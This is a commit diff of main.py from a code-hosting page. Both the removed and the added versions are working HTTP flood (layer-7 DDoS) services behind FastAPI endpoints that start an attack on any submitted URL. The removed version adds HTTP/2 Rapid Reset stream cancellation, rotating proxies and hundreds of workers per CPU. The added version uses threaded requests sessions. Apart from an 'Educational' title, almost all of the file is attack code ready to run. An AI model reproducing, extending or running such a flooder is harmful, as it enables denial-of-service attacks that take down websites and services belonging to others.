rkihacker commited on
Commit
8df8350
·
verified ·
1 Parent(s): 3dbd951

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +76 -183
main.py CHANGED
@@ -1,204 +1,97 @@
1
  # main.py
2
- import asyncio
3
- import logging
4
- import signal
5
- import sys
6
- import threading
7
- from concurrent.futures import ThreadPoolExecutor
8
- from typing import List, Optional
9
-
10
- import httpx
11
  import uvicorn
12
  from fastapi import FastAPI, HTTPException
13
- from pydantic import AnyHttpUrl, BaseModel, Field, PositiveInt, validator
14
-
15
- # --------------------------------------------------------------------------- #
16
- # Logging
17
- # --------------------------------------------------------------------------- #
18
- logging.basicConfig(
19
- level=logging.INFO,
20
- format="%(asctime)s %(levelname)s %(name)s | %(message)s",
21
- )
22
- log = logging.getLogger("l7")
23
-
24
- # --------------------------------------------------------------------------- #
25
- # FastAPI app
26
- # --------------------------------------------------------------------------- #
27
- app = FastAPI(title="Layer-7 Power Flood (Educational)")
28
-
29
- # --------------------------------------------------------------------------- #
30
- # Global attack state
31
- # --------------------------------------------------------------------------- #
32
- attack_task: Optional[asyncio.Task] = None
33
- stop_event = asyncio.Event()
34
- metrics = {"sent": 0, "err": 0, "start_ts": 0.0}
35
 
 
 
36
 
37
- # --------------------------------------------------------------------------- #
38
- # Pydantic models
39
- # --------------------------------------------------------------------------- #
40
- class Proxy(BaseModel):
41
- url: str # e.g. "socks5://1.2.3.4:1080" or "http://user:pass@proxy:port"
42
 
 
 
 
 
43
 
44
  class AttackConfig(BaseModel):
45
- target: AnyHttpUrl = Field(..., description="http:// or https:// URL (no path)")
46
- port: Optional[PositiveInt] = None
47
- duration: PositiveInt = Field(..., ge=1, le=600, description="seconds")
48
- threads: int = Field(-1, description="-1 = auto (CPU×100 workers)")
49
- use_http2: bool = True
50
- rapid_reset: bool = True
51
- proxies: Optional[List[Proxy]] = None
52
-
53
- @validator("target")
54
- def strip_path(cls, v):
55
- # Force only scheme + host (no path/query)
56
- return str(v).split("/", 3)[0] + "//" + str(v).split("/", 3)[2].split("/", 1)[0]
57
-
58
- # --------------------------------------------------------------------------- #
59
- # Helper: rotating proxy transport
60
- # --------------------------------------------------------------------------- #
61
- def build_client(proxies: Optional[List[Proxy]], use_http2: bool) -> httpx.AsyncClient:
62
- transport = None
63
- if proxies:
64
- import random
65
- proxy = random.choice(proxies).url
66
- transport = httpx.AsyncHTTPTransport(proxy=proxy, retries=1)
67
-
68
- limits = httpx.Limits(max_keepalive_connections=None, max_connections=None)
69
- return httpx.AsyncClient(
70
- http1=not use_http2,
71
- http2=use_http2,
72
- limits=limits,
73
- timeout=httpx.Timeout(8.0, connect=5.0),
74
- verify=False,
75
- transport=transport,
76
- )
77
-
78
- # --------------------------------------------------------------------------- #
79
- # Core flood worker (HTTP/2 Rapid Reset + HTTP/1.1 fallback)
80
- # --------------------------------------------------------------------------- #
81
- async def flood_worker(client: httpx.AsyncClient, url: str, rapid_reset: bool):
82
- global metrics
83
  headers = {
84
- "User-Agent": httpx._client._DEFAULT_USER_AGENT,
85
- "Accept": "*/*",
86
- "Cache-Control": "no-cache",
87
- "Pragma": "no-cache",
88
  "Connection": "keep-alive",
 
 
89
  }
90
-
91
- while not stop_event.is_set():
92
  try:
93
- if rapid_reset and client.http2:
94
- # ---- HTTP/2 Rapid Reset ----
95
- async with client.stream("GET", url, headers=headers) as response:
96
- # Immediately cancel the stream
97
- await response.aclose()
98
- metrics["sent"] += 1
99
- else:
100
- # ---- Classic HTTP/1.1 GET ----
101
- await client.get(url, headers=headers)
102
- metrics["sent"] += 1
103
- except Exception as e:
104
- metrics["err"] += 1
105
- # silently continue
106
- await asyncio.sleep(0.001)
107
-
108
-
109
- # --------------------------------------------------------------------------- #
110
- # Attack orchestrator
111
- # --------------------------------------------------------------------------- #
112
- async def run_attack(config: AttackConfig):
113
- global attack_task, metrics, stop_event
114
-
115
- stop_event.clear()
116
- metrics = {"sent": 0, "err": 0, "start_ts": asyncio.get_event_loop().time()}
117
-
118
- # Resolve URL
119
- scheme = "https" if config.target.startswith("https") else "http"
120
- port = config.port or (443 if scheme == "https" else 80)
121
- full_url = f"{config.target}:{port}"
122
-
123
- log.info(
124
- f"Starting flood → {full_url} | {config.duration}s | HTTP2={'ON' if config.use_http2 else 'OFF'} | RapidReset={'ON' if config.rapid_reset else 'OFF'}"
125
- )
126
-
127
- # Auto-threads
128
- workers = config.threads
129
- if workers == -1:
130
- import os
131
- workers = max(os.cpu_count() or 1, 1) * 100
132
- log.info(f"Using {workers} concurrent workers")
133
-
134
- # Build client (one per worker to avoid connection pooling limits)
135
- client = build_client(config.proxies, config.use_http2)
136
-
137
- # Launch workers
138
- tasks = [
139
- asyncio.create_task(flood_worker(client, full_url, config.rapid_reset))
140
- for _ in range(workers)
141
- ]
142
-
143
- # Wait for duration
144
- await asyncio.sleep(config.duration)
145
- stop_event.set()
146
- await asyncio.gather(*tasks, return_exceptions=True)
147
- await client.aclose()
148
-
149
- elapsed = asyncio.get_event_loop().time() - metrics["start_ts"]
150
- rps = metrics["sent"] / elapsed if elapsed > 0 else 0
151
- log.info(
152
- f"Attack finished | Sent: {metrics['sent']:,} | Err: {metrics['err']:,} | RPS: {rps:,.0f}"
153
- )
154
-
155
-
156
- # --------------------------------------------------------------------------- #
157
- # API endpoints
158
- # --------------------------------------------------------------------------- #
159
- @app.post("/attack")
160
- async def launch_attack(cfg: AttackConfig):
161
- global attack_task
162
- if attack_task and not attack_task.done():
163
- raise HTTPException(status_code=409, detail="Attack already running")
164
- attack_task = asyncio.create_task(run_attack(cfg))
165
- return {"status": "started", "config": cfg.dict()}
166
 
 
 
 
167
 
168
- @app.post("/stop")
169
- async def stop_attack():
170
- global attack_task
171
- if attack_task and not attack_task.done():
172
- stop_event.set()
173
- await attack_task
174
- return {"status": "stopped"}
175
 
 
176
 
177
- @app.get("/status")
178
- async def status():
179
- return {
180
- "running": attack_task and not attack_task.done(),
181
- "metrics": metrics,
182
- }
183
 
 
 
 
184
 
185
- # --------------------------------------------------------------------------- #
186
- # Graceful shutdown
187
- # --------------------------------------------------------------------------- #
188
- def signal_handler():
189
- log.info("Received shutdown signal")
190
- stop_event.set()
 
 
 
 
 
 
191
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
192
 
193
  if __name__ == "__main__":
194
- loop = asyncio.get_event_loop()
195
- for sig in (signal.SIGINT, signal.SIGTERM):
196
- loop.add_signal_handler(sig, signal_handler)
197
-
198
- uvicorn.run(
199
- "main:app",
200
- host="0.0.0.0",
201
- port=8000,
202
- log_level="info",
203
- workers=1, # single worker; all concurrency inside async tasks
204
- )
 
1
  # main.py
 
 
 
 
 
 
 
 
 
2
  import uvicorn
3
  from fastapi import FastAPI, HTTPException
4
+ from pydantic import BaseModel
5
+ import threading
6
+ import requests
7
+ import time
8
+ import logging
9
+ from typing import Optional
10
+ from concurrent.futures import ThreadPoolExecutor
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
11
 
12
+ logging.basicConfig(level=logging.INFO)
13
+ logger = logging.getLogger(__name__)
14
 
15
+ app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
 
 
 
 
16
 
17
+ # Global attack control
18
+ attack_active = False
19
+ attack_thread = None
20
+ executor = ThreadPoolExecutor(max_workers=500) # Adjustable max threads
21
 
22
  class AttackConfig(BaseModel):
23
+ target: str # http:// or https://
24
+ port: Optional[int] = None
25
+ duration: int # seconds
26
+ threads: int = 100 # number of concurrent threads
27
+
28
+ def flood_target(target_url: str):
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
29
  headers = {
30
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
31
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
 
 
32
  "Connection": "keep-alive",
33
+ "Cache-Control": "no-cache",
34
+ "Pragma": "no-cache"
35
  }
36
+ session = requests.Session()
37
+ while attack_active:
38
  try:
39
+ session.get(target_url, headers=headers, timeout=5, verify=False)
40
+ except:
41
+ pass # Ignore failures to keep flooding
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
42
 
43
+ def start_attack(config: AttackConfig):
44
+ global attack_active, attack_thread
45
+ attack_active = True
46
 
47
+ # Build target URL
48
+ protocol = "https" if config.target.startswith("https") else "http"
49
+ port = config.port or (443 if protocol == "https" else 80)
50
+ target_url = f"{config.target}:{port}"
 
 
 
51
 
52
+ logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {config.threads} threads")
53
 
54
+ # Launch threads
55
+ futures = []
56
+ for _ in range(config.threads):
57
+ future = executor.submit(flood_target, target_url)
58
+ futures.append(future)
 
59
 
60
+ # Stop after duration
61
+ time.sleep(config.duration)
62
+ stop_attack()
63
 
64
+ logger.info("Attack completed.")
65
+
66
+ def stop_attack():
67
+ global attack_active
68
+ attack_active = False
69
+ logger.info("Attack stopped.")
70
+
71
+ @app.post("/attack")
72
+ def launch_attack(config: AttackConfig):
73
+ global attack_thread
74
+ if attack_thread and attack_thread.is_alive():
75
+ raise HTTPException(status_code=400, detail="Attack already in progress")
76
 
77
+ if config.threads > 1000:
78
+ raise HTTPException(status_code=400, detail="Max 1000 threads allowed")
79
+
80
+ if config.duration > 300:
81
+ raise HTTPException(status_code=400, detail="Max duration 300 seconds")
82
+
83
+ attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
84
+ attack_thread.start()
85
+ return {"status": "attack_started", "config": config}
86
+
87
+ @app.post("/stop")
88
+ def stop():
89
+ stop_attack()
90
+ return {"status": "attack_stopped"}
91
+
92
+ @app.get("/status")
93
+ def status():
94
+ return {"attack_active": attack_active}
95
 
96
  if __name__ == "__main__":
97
+ uvicorn.run(app, host="0.0.0.0", port=8000)